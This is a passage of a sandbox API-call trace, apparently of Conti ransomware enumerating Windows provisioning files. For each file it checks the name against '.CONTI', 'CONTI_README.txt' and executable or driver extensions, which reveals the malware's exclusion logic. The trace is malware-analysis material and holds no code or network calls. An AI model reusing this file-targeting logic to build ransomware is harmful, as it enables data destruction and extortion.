	[0109.350] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\342__Connections_Cellular_Claro (Puerto Rico)_i1$(__MVID)@WAP.provxml"
	[0109.350] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cb6875, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cb6875, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cb6875, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x27f, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", cAlternateFileName="343__C~1.PRO")) returned 1
	[0109.350] lstrcmpiW (lpString1="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.350] lstrcmpiW (lpString1="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.350] StrStrIW (lpFirst="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.350] StrStrIW (lpFirst="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.350] StrStrIW (lpFirst="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.350] StrStrIW (lpFirst="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.350] StrStrIW (lpFirst="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.350] StrStrIW (lpFirst="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.350] StrStrIW (lpFirst="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.351] StrStrIW (lpFirst="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.351] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.351] lstrlenW (lpString="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml") returned 63
	[0109.351] GetProcessHeap () returned 0x1720000
	[0109.351] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x134) returned 0x6567480
	[0109.351] lstrcpyW (in: lpString1=0x6567480, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.351] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.351] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\343__Connections_Cellular_Q-Tel (Qatar)_i0$(__MVID)@WAP.provxml"
	[0109.351] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cb6875, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cb6875, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cb6875, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", cAlternateFileName="344__C~1.PRO")) returned 1
	[0109.351] lstrcmpiW (lpString1="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.351] lstrcmpiW (lpString1="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.351] StrStrIW (lpFirst="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.351] StrStrIW (lpFirst="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.351] StrStrIW (lpFirst="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.351] StrStrIW (lpFirst="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.351] StrStrIW (lpFirst="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.351] StrStrIW (lpFirst="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.351] StrStrIW (lpFirst="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.351] StrStrIW (lpFirst="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.351] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.351] lstrlenW (lpString="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml") returned 72
	[0109.351] GetProcessHeap () returned 0x1720000
	[0109.351] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x65616b8
	[0109.351] lstrcpyW (in: lpString1=0x65616b8, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.351] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.351] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\344__Connections_Cellular_Vodafone Qatar (Qatar)_i0$(__MVID)@WAP.provxml"
	[0109.351] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cb6875, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cb6875, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cb6875, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", cAlternateFileName="345__C~1.PRO")) returned 1
	[0109.351] lstrcmpiW (lpString1="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.351] lstrcmpiW (lpString1="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.351] StrStrIW (lpFirst="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.351] StrStrIW (lpFirst="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.351] StrStrIW (lpFirst="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.352] StrStrIW (lpFirst="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.352] StrStrIW (lpFirst="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.352] StrStrIW (lpFirst="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.352] StrStrIW (lpFirst="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.352] StrStrIW (lpFirst="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.352] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.352] lstrlenW (lpString="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml") returned 72
	[0109.352] GetProcessHeap () returned 0x1720000
	[0109.352] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x6560138
	[0109.352] lstrcpyW (in: lpString1=0x6560138, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.352] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.352] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\345__Connections_Cellular_Vodafone Qatar (Qatar)_i1$(__MVID)@WAP.provxml"
	[0109.352] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cb6875, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cb6875, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cb6875, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="346__C~1.PRO")) returned 1
	[0109.352] lstrcmpiW (lpString1="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".") returned 1
	[0109.352] lstrcmpiW (lpString1="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2="..") returned 1
	[0109.352] StrStrIW (lpFirst="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.352] StrStrIW (lpFirst="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.352] StrStrIW (lpFirst="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".exe") returned 0x0
	[0109.352] StrStrIW (lpFirst="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".dll") returned 0x0
	[0109.352] StrStrIW (lpFirst="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".lnk") returned 0x0
	[0109.352] StrStrIW (lpFirst="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".sys") returned 0x0
	[0109.352] StrStrIW (lpFirst="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch=".CONTI") returned 0x0
	[0109.352] StrStrIW (lpFirst="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.352] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.352] lstrlenW (lpString="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned 53
	[0109.352] GetProcessHeap () returned 0x1720000
	[0109.352] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x120) returned 0x17c3210
	[0109.352] lstrcpyW (in: lpString1=0x17c3210, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.352] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.352] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\346__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.352] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cb6875, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cb6875, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cdcae1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d0, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", cAlternateFileName="347__C~1.PRO")) returned 1
	[0109.352] lstrcmpiW (lpString1="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.353] lstrcmpiW (lpString1="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.353] StrStrIW (lpFirst="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.353] StrStrIW (lpFirst="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.353] StrStrIW (lpFirst="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.353] StrStrIW (lpFirst="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.353] StrStrIW (lpFirst="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.353] StrStrIW (lpFirst="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.353] StrStrIW (lpFirst="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.353] StrStrIW (lpFirst="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.353] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.353] lstrlenW (lpString="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml") returned 80
	[0109.353] GetProcessHeap () returned 0x1720000
	[0109.353] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x156) returned 0x6516c10
	[0109.353] lstrcpyW (in: lpString1=0x6516c10, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.353] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.353] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\347__Connections_Cellular_MoldCell (Republic of Moldova)_i0$(__MVID)@WAP.provxml"
	[0109.353] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cdcae1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cdcae1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cdcae1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", cAlternateFileName="348__C~1.PRO")) returned 1
	[0109.355] lstrcmpiW (lpString1="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.355] lstrcmpiW (lpString1="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.355] StrStrIW (lpFirst="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.355] StrStrIW (lpFirst="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.355] StrStrIW (lpFirst="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.355] StrStrIW (lpFirst="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.355] StrStrIW (lpFirst="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.355] StrStrIW (lpFirst="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.356] StrStrIW (lpFirst="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.356] StrStrIW (lpFirst="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.356] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned 89
	[0109.356] lstrlenW (lpString="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml") returned 72
	[0109.356] GetProcessHeap () returned 0x1720000
	[0109.356] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x146) returned 0x6561810
	[0109.356] lstrcpyW (in: lpString1=0x6561810, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime"
	[0109.356] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpString2="\\" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\"
	[0109.356] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\", lpString2="348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\348__Connections_Cellular_SFR (Réunion) (France)_i0$(__MVID)@WAP.provxml"
	[0109.356] FindNextFileW (in: hFindFile=0x17c8470, lpFindFileData=0x5c3ec80 | out: lpFindFileData=0x5c3ec80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cdcae1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90cdcae1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90cdcae1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x5c3ef1c, dwReserved1=0xb6884, cFileName="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", cAlternateFileName="349__C~1.PRO")) returned 1
	[0109.356] lstrcmpiW (lpString1="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", lpString2=".") returned 1
	[0109.356] lstrcmpiW (lpString1="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", lpString2="..") returned 1
	[0109.356] StrStrIW (lpFirst="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.356] StrStrIW (lpFirst="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
	[0109.356] StrStrIW (lpFirst="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", lpSrch=".exe") returned 0x0
	[0109.356] StrStrIW (lpFirst="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", lpSrch=".dll") returned 0x0
	[0109.356] StrStrIW (lpFirst="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", lpSrch=".lnk") returned 0x0
	[0109.356] StrStrIW (lpFirst="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", lpSrch=".sys") returned 0x0
	[0109.356] StrStrIW (lpFirst="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", lpSrch=".CONTI") returned 0x0
	[0109.356] StrStrIW (lpFirst="349__Connections_Cellular_SFR (Réunion) (France)_i1$(__MVID)@WAP.provxml", lpSrch="CONTI_README.txt") returned 0x0
